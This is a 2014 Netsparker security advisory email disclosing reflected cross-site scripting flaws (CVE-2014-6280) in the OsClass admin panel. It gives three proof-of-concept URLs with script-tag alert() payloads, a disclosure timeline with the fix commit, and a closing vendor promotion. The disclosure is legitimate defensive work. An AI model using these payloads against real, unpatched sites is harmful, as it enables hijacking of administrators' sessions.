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From:Onur Yilmaz <onur_(at)_netsparker.com>
Date:15 октября 2014 г.
Subject:Osclass Security Advisory - Multiple XSS Vulnerabilities - CVE-2014-6280



Information
------------
Advisory by Netsparker.
Name: XSS Vulnerability in OsClass
Affected Software : OsClass
Affected Versions: 3.4.1 and possibly below
Vendor Homepage : http://osclass.org/
Vulnerability Type : Cross-site Scripting
Severity : Critical
CVE-ID: CVE-2014-6280
Netsparker Advisory Reference : NS-14-030

Advisory URL
------------
https://www.netsparker.com/xss-vulnerabilities-in-osclass/

Description
-----------
Several cross-site scripting vulnerabilities where discovered in
Osclass, an open source project that allows you to create a
classifieds sites.

Technical Details
-----------------
Proof of Concept URLs for XSS in OsClass:

http://example.com/osclass/oc-admin/index.php?page=items&action='"--
></style></scRipt><scRipt>alert(0x001394)</scRipt
>
http://example.com/osclass/oc-admin/index.php?page=items&nsextt='"--
></style></scRipt><scRipt>alert(0x001364)</scRipt
>
http://example.com/osclass/oc-admin/index.php?page=items&action=items_reporte
d&nsextt=
'"--
></style></scRipt><scRipt>alert(0x001396)</scRipt
>

For more information on cross-site scripting vulnerabilities read the
article on Cross-site Scripting (XSS) from the following URL;
https://www.netsparker.com/web-vulnerability-scanner/vulnerability-security-
checks-index/crosssite-scripting-xss/.

Advisory Timeline
-----------------
03/09/2014 - First Contact
03/09/2014 - Vulnerability fixed:
https://github.
com/osclass/Osclass/commit/c163bf5910d0d36424d7fc678da6b03a0e443435
15/09/2014 - Fix released publicly in Osclass 3.4.2

Credits & Authors
--------------------
These issues have been discovered by Omar Kurt while testing
Netsparker Web Application Security Scanner.

About Netsparker
--------------------
Netsparker can find and report security issues and vulnerabilities
such as SQL Injection and Cross-site Scripting (XSS) in all websites
and web applications regardless of the platform and the technology
they are built on. Netsparker's unique detection and exploitation
techniques allows it to be dead accurate in reporting hence it's the
first and the only False Positive Free web application security
scanner. For more information on Netsparker visit
https://www.netsparker.com.

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